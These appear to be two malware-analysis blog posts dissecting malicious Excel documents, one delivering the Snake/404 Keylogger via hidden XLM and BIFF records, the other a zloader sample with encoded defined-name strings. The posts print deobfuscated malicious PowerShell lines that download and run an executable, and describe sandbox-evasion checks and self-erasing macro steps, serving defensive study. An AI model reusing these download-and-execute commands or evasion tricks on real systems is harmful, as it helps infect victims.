Snake/404 Keylogger, BIFF, and Covering Tracks?: An unusual maldoc

It’s always interesting to see how attackers take a variety of techniques and wrap them up into one document. Some are so heavily, heavily obfuscated that it’s rather easy to point and say, “Oh, the malicious stuff is probably in there. I should focus on that.” Others are rather sparse and you have to spend some more time digging to put the clues together.

This evening’s document is the latter ( It contains password protected macros, but they’re empty. There’s an XLM line that isn’t difficult to find and decode, but that single line doesn’t explain how the .exe gets downloaded.

All in all, the complication was finding the bits and pieces of code in the document and putting them together to match the behavior.

The Obvious XLM

If you open the spreadsheet and search for “=”, you’ll end up in cell H177.

The hex isn’t tough to decode. You end up with something like the command below. Powershell is used to change to the $env:appdata directory and execute gn.exe.

=EXEC(powershell -w 1 -EP bypass stARt-slEEp 25; cd ${enV`:appdata};.('.'+'/gn.exe'))

However, where does gn.exe get downloaded?

BIFF – Binary Interchange File Format

BIFF is the binary file format that is used to save Excel workbooks. This binary format is more commonly referred to as XLS or MS-XLS and has been the default format for Excel through MS Office 2003. There have been a variety of BIFF versions over the years due to the new versions of Excel (BIFF2 – Excel 2.1; BIFF3 – Excel 3.0; BIFF4 – Excel 4.0, etc.).

.xls files are structured as OLE (object linking and embedding) compound files. These compound files can store a variety of streams of data. One such place is in the BIFF records of a Workbook stream. We are used to using to search for and dump macros. Yet as I said above, these macros are empty. -p plugin_biff also lets us look through the BIFF records. We can do that with this command: -p plugin_biff --pluginoptions "-x" [document.xls]

There’s a lot of output here so let’s take a look at it. The first line shows that a very hidden macro sheet exists. We’ll need to take care of that. The fourth line shows that there is a cell with the name Auto_Open which will execute as soon as the document is opened.

The remaining output shows FORMULA cells that will get executed in some way. Some of it is parsed successfully, others not so much. Either way, we can see a address. this is most likely the URL from which the .exe gets downloaded. These formulas are stored somewhere. Let’s get that very hidden macro sheet unhidden and see what we can see.

Unhiding the macro sheet

This process of unhiding a macro sheet is outlined in more detail here. Essentially, we need to toss the following VBA in a macro and execute it. Of course, the macros in this document are password protected, but other posts of mine show how to bypass it.

This VBA code uncovers a new sheet in the document. We will need to change the font color from white to black to see them.

We can see the typical GET.WORKSPACE checks for a mouse (line 126) and the ability to play sounds (line 127). After that, it takes the macro code from Sheet1 and copies it to D131.

Line 129 contains the obfuscated line that does the actual downloading:

powershell -w 1 (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('','gn.exe')

We already saw the deobfuscated command in line 131 above.

Covering Tracks?

XLM code has the ability to make actual changes to the cells. This, in effect, also makes changes to the document itself. Line 138 will save whatever changes have been made thus far. And what do we notice happening right before that save? A blank cell is copied on top of 131, a cell that contained the command to execute gn.exe.

My first thought that the purpose of overwriting line 131 was to make it tougher for incident responders to analyze a possibly malicious document. I also initially thought that it was a mistake to overwrite line 130 as it was blank already. It seemed to me that 129 would be a better candidate as it contains another of the smoking guns that downloaded the malware.

I don’t think this is likely for two reasons. First, if my theory is true, it means that each malicious document in this campaign can be used only once. Once the XLM code is enabled, it gets one shot to reach out, download, and execute the malware before cleaning up its own tracks. There is no opportunity for the victim to try re-opening the document and getting infected again. Second, there is no XLM code to overwrite the obfuscated command in Sheet1!H177. I think that if an attacker were concerned about covering his tracks in this way, this other command should be deleted as well.


So like I said, this document was unusual. It contained a lot of things we’ve seen before like XLM, very hidden sheets, and password-protected macros, but this was a new combination of a variety of techniques. Plus we saw the added XLM commands that delete lines. If someone’s got a better theory about its purpose, I’m all ears. I just wonder if we’re going to see this technique more often? Ideas do have a way of getting around.

Thanks for reading.

zloader: Simpler XLM and hidden encoded strings

It has been awhile since an interesting document came across my desk. The XLM and sandbox evasion checks in today’s document were different enough where I wasn’t sure if it was going to be zloader or not. But grabbing the executable and tossing it into (or, if you’re one of the cool kids) confirmed it was zloader.

Executable (
Executable (

Decoding Macro

As per usual, the main XLM macro is in one single column. However, it wasn’t the usual massive block of XLM code. It is conceptually the same in that variables will be set up to control the decoding loops. But rather than that information being in the XLM code itself, the XLM will grab numbers and encoded strings a different sheet. In this case, the decoding macro is in column 1 of sheet JattwdYRiEl and the encoded strings and loop control variables are in Sheet1. Here is a truncated view of the macro to make it easier to understand its flow. Auto_Open sets up a location that points to the beginning of the macro to start decoding strings. vGdNGoO jumps execution to the top of the macro.

SHEET1: Populating Variables

Sheet1 contains what looks very much like some sort of encoded string. Some of the numbers and values in Sheet1 are used to populate the counting variables in the decoding loop. Here are a few examples.

A new development is the location of the encoded strings. They are now defined names within the excel document itself. These names can be found in the Name Manager in Excel. If you look carefully, you can see that a semicolon is used to separate the encoded strings in DLZETTDk.

While the decoding mechanism itself is interesting from an academic perspective, I won’t be diving deeply into it. Suffice it to say, these encoded string gets decoded character by character and tossed into variable ovTMv. Once completed, the XLM code will write the decoded string to R114C1 and overwrite =HALT(). The next string will get decoded and written to R115C1 and so on.

Decoded Strings 1

Once the first round of strings are decoded, RETURN() will jump execution to R114C1. What follows are some more sandbox checks and variable setup. It looks like a file might get written to C:\Users\Public\Documents\. R125C1:R127C1 sets up new variables for the second round of decoding. R131C1 points execution back to the top of the decoding loop which starts the second round of decoding. Those strings will get written starting on R132C1.

Decoded Strings 2

There is a lot going on in the next block of XLM code. The .exe is downloaded to C:\Users\Public\Documents\dfdMmb2W.txt as a text file. Rundll32.exe is used to execute it. Notice the GET.WORKSPACE(1) check in R134C1. If it fails, execution jumps down to R143C1. This sets up a .vbs file, populates it with commands, and then executes it. It will ultimately do the same thing by downloading the executable and executing it with rundll32.exe.

So that’s pretty much it. The main decoding XLM code is cleaner, but the main difference is that the control variables are in another sheet and the encoded strings are defined names.

Thanks for reading!